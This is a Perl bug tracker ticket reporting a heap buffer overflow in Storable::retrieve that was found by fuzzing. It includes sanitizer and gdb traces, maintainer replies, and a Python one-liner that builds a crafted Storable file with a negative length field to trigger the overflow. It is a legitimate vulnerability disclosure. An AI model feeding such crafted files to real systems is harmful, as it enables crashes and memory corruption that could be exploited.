Skip Menu |
Report information
Id: 131990
Status: open
Priority: 0/
Queue: perl5

Owner: Nobody
Requestors: imdb95 [at] gmail.com
Cc:
AdminCc:

Operating System: (no value)
PatchStatus: (no value)
Severity: (no value)
Type: (no value)
Perl Version: (no value)
Fixed In: (no value)



To: Tony Cook via RT <perl5-security-report [...] perl.org>
Date: Tue, 29 Aug 2017 23:25:36 +0700
From: Manh Nguyen <imdb95 [...] gmail.com>
Subject: Heap-buffer-over-flow in Storable::retrieve that could lead to RCE
Download (untitled) / with headers
text/html 12.8k
Greetings,
I found a RCE bug in Storable::retrieve.

**********Build Date & Hardware**********
Version: Version: the dev version (https://perl5.git.perl.org/perl.git)
manh@manh-VirtualBox:~/Fuzzing/afl/perl$ ./perl/perl -v

This is perl 5, version 27, subversion 4 (v5.27.4 (v5.27.3-14-gd2dccc0)) built for x86_64-linux

Copyright 1987-2017, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.
--------------
OS: Ubuntu 16.04 Desktop
manh@manh-VirtualBox:~/Fuzzing
/afl/perl$ uname -a
Linux manh-VirtualBox 4.4.0-92-generic #115-Ubuntu SMP Thu Aug 10 09:04:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
--------------
Compilation:
AFL_USE_ASAN=1 ./Configure -des -Dusedevel -DDEBUGGING -Dcc=afl-clang-fast -Doptimize=-O0\ -g && AFL_USE_ASAN=1 make

**********Reproduce**********
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable; retrieve("crafted1")' ================================================================= ==660==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001d27a at pc 0x0000004c6424 bp 0x7fffffefd0a0 sp 0x7fffffefc850 WRITE of size 11 at 0x60200001d27a thread T0 #0 0x4c6423 in __asan_memcpy /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 #1 0xcc7859 in PerlIOBase_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:2095:3 #2 0xcdb3e4 in PerlIOBuf_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:4079:9 #3 0xcc7037 in Perl_PerlIO_read /home/manh/Fuzzing/afl/perl/perl/perlio.c:1578:6 #4 0x7ffff3763b63 in retrieve_lscalar /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:4935:2 #5 0x7ffff3760636 in retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6222:7 #6 0x7ffff375cf82 in do_retrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6406:7 #7 0x7ffff3728126 in pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6511:9 #8 0x7ffff3728126 in XS_Storable_pretrieve /home/manh/Fuzzing/afl/perl/perl/dist/Storable/Storable.xs:6723 #9 0x93cd07 in Perl_pp_entersub /home/manh/Fuzzing/afl/perl/perl/pp_hot.c:4424:2 #10 0x8396bc in Perl_runops_debug /home/manh/Fuzzing/afl/perl/perl/dump.c:2486:23 #11 0x5e0342 in S_run_body /home/manh/Fuzzing/afl/perl/perl/perl.c #12 0x5e0342 in perl_run /home/manh/Fuzzing/afl/perl/perl/perl.c:2484 #13 0x5095cb in main /home/manh/Fuzzing/afl/perl/perl/perlmain.c:154:9 #14 0x7ffff6caf82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #15 0x435928 in _start (/home/manh/Fuzzing/afl/perl/perl/perl+0x435928) 0x60200001d27a is located 0 bytes to the right of 10-byte region [0x60200001d270,0x60200001d27a) allocated by thread T0 here: #0 0x4dc62c in malloc /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66:3 #1 0x83ed2b in Perl_safesysmalloc /home/manh/Fuzzing/afl/perl/perl/util.c:153:21 SUMMARY: AddressSanitizer: heap-buffer-overflow /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fffb9f0: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02 0x0c047fffba00: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa 00 02 0x0c047fffba10: fa fa 00 02 fa fa 00 02 fa fa 00 02 fa fa fd fd 0x0c047fffba20: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fffba30: fa fa fd fd fa fa 00 02 fa fa 00 fa fa fa 00 00 =>0x0c047fffba40: fa fa 02 fa fa fa 00 01 fa fa 00 02 fa fa 00[02] 0x0c047fffba50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fffba60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fffba70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fffba80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fffba90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==660==ABORTING
**********Analysis**********
The crafted file is created as following:
Serialize a string object into a file:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ perl -e 'use Storable; $a="11111111111111111"; store(\$a, "data")'
We get the binary data:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> open("data", "rb").read()
'pst0\x04\n\x0812345678\x04\x08\x08\x08\n\x1111111111111111111'
The "\n" = 0x10 indicates that the object type is SX_SCALAR (as defined in Storable.xs). We change the type to SX_LSCALAR (0x01), and set length = -1, data=anything:

----------In Storable.xs----------
#define SX_LSCALAR	C(1)	/* Scalar (large binary) follows (length, data) */
#define SX_ARRAY	C(2)	/* Array forthcoming (size, item list) */
#define SX_HASH		C(3)	/* Hash forthcoming (size, key/value pair list) */
#define SX_REF		C(4)	/* Reference to object forthcoming */
#define SX_UNDEF	C(5)	/* Undefined scalar */
#define SX_INTEGER	C(6)	/* Integer forthcoming */
#define SX_DOUBLE	C(7)	/* Double forthcoming */
#define SX_BYTE		C(8)	/* (signed) byte forthcoming */
#define SX_NETINT	C(9)	/* Integer in network order forthcoming */
#define SX_SCALAR	C(10)	/* Scalar (binary, small) follows (length, data) */
--------------------
>>> m = 'pst0\x04\n\x0812345678\x04\x08\x08\x08\x01\xff\xff\xff\xff11111111111111111'
>>> open("crafted1", "wb").write(m)
Then:
manh@manh-VirtualBox:~/Fuzzing/afl/perl/perlembed$ ../perl/perl -e 'use Storable; retrieve("crafted1")'
=================================================================
==784==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200001d27a at pc 0x0000004c6424 bp 0x7fffffefd0a0 sp 0x7fffffefc850
=> Heap-buffer-overflow

Now debug with gdb, use another compilation configuration of perl5:
root@manh-VirtualBox:/home# ./perl/perl -MConfig -e 'print $Config{optimize}, "\n"' -O0 -ggdb root@manh-VirtualBox:/home# ./perl/perl -MConfig -e 'print $Config{ccflags}, "\n"' -fwrapv -DDEBUGGING -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2 root@manh-VirtualBox:/home# ./perl/perl -MConfig -e 'print $Config{cc}, "\n"' gcc

I figure out that, NEWSV(10002, len) is called with len = 0xffffffffffffffff, then in Perl_newSV, sv_grow(sv, len + 1) is called, so it becomes sv_grow(sv, 0). A valid sv is returned.
After that, at line Storable.xs:4935:
SAFEREAD(SvPVX(sv), len, sv);
=> Trigger heap-over-flow. The reading succeeds without crash, because EOF is reached. As a result, we can craft the heap for some kind of exploitation!!!

Breakpoint 3, retrieve_lscalar (cxt=0xa96980, cname=0x0) at Storable.xs:4905 4905 { (gdb) list 4900 * Layout is SX_LSCALAR <length> <data>, with SX_LSCALAR already read. 4901 * The scalar is "long" in that <length> is larger than LG_SCALAR so it 4902 * was not stored on a single byte. 4903 */ 4904 static SV *retrieve_lscalar(pTHX_ stcxt_t *cxt, const char *cname) 4905 { 4906 I32 len; 4907 SV *sv; 4908 HV *stash; 4909 (gdb) list 4910 RLEN(len); 4911 TRACEME(("retrieve_lscalar (#%d), len = %" IVdf, cxt->tagnum, (IV) len)); 4912 4913 /* 4914 * Allocate an empty scalar of the suitable length. 4915 */ 4916 4917 sv = NEWSV(10002, len); 4918 stash = cname ? gv_stashpv(cname, GV_ADD) : 0; 4919 SEEN_NN(sv, stash, 0); /* Associate this new scalar with tag "tagnum" */ (gdb) n 4910 RLEN(len); (gdb) n Breakpoint 2, retrieve_lscalar (cxt=0xa96980, cname=0x0) at Storable.xs:4917 4917 sv = NEWSV(10002, len); (gdb) p/x len $42 = 0xffffffff (gdb) s Perl_newSV (len=18446744073709551615) at sv.c:5689 5689 new_SV(sv); (gdb) list 5684 SV * 5685 Perl_newSV(pTHX_ const STRLEN len) 5686 { 5687 SV *sv; 5688 5689 new_SV(sv); 5690 if (len) { 5691 sv_grow(sv, len + 1); 5692 } 5693 return sv;
(gdb) n 5690 if (len) { (gdb) 5691 sv_grow(sv, len + 1); (gdb) n 5693 return sv;
(gdb) p/x *((XPV*) (sv->sv_any)) $45 = {xmg_stash = 0x1, xmg_u = {xmg_magic = 0xa, xmg_hash_index = 0xa}, xpv_cur = 0x0, xpv_len_u = {xpvlenu_len = 0xa, xpvlenu_rx = 0xa}} (gdb)
...
4935 SAFEREAD(SvPVX(sv), len, sv); (gdb) n 4946 }

I see that the bug also exists in my default perl version:
root@manh-VirtualBox:/home# perl -e 'use Storable; retrieve("./crafted1")' Segmentation fault

Best,
Manh
Download crafted1
application/octet-stream 35b

Message body not shown because it is not plain text.

From: Dave Mitchell <davem [...] iabyn.com>
Subject: Re: [perl #131990] Heap-buffer-over-flow in Storable::retrieve that could lead to RCE
To: perl5-security-report [...] perl.org
Date: Wed, 29 Nov 2017 09:29:05 +0000
Download (untitled) / with headers
text/plain 525b
On Tue, Aug 29, 2017 at 09:25:54AM -0700, Nguyen Duc Manh wrote: Show quoted text
> I found a RCE bug in Storable::retrieve.
This bug is still present in blead: $ valgrind ./perl -Ilib -e'use Storable; retrieve("/tmp/crafted1")' ... ==11265== Invalid write of size 1 I don't know what the status of the various Storable WIP branches is, or whether any of them fix this issue. -- Any [programming] language that doesn't occasionally surprise the novice will pay for it by continually surprising the expert. -- Larry Wall
RT-Send-CC: perl5-porters [...] perl.org
Download (untitled) / with headers
text/plain 659b
On Wed, 29 Nov 2017 01:29:23 -0800, davem wrote: Show quoted text
> On Tue, Aug 29, 2017 at 09:25:54AM -0700, Nguyen Duc Manh wrote:
> > I found a RCE bug in Storable::retrieve.
> > This bug is still present in blead: > > $ valgrind ./perl -Ilib -e'use Storable; retrieve("/tmp/crafted1")' > ... > ==11265== Invalid write of size 1 > > > I don't know what the status of the various Storable WIP branches is, > or whether any of them fix this issue.
As with the other Storable bug reported to the security this, we don't treat Storable issues as security issues, so I've moved this to the public queue. This issue is fixed in my work-in-progress branch. Tony


This service is sponsored and maintained by Best Practical Solutions and runs on Perl.org infrastructure.

For issues related to this RT instance (aka "perlbug"), please contact perlbug-admin at perl.org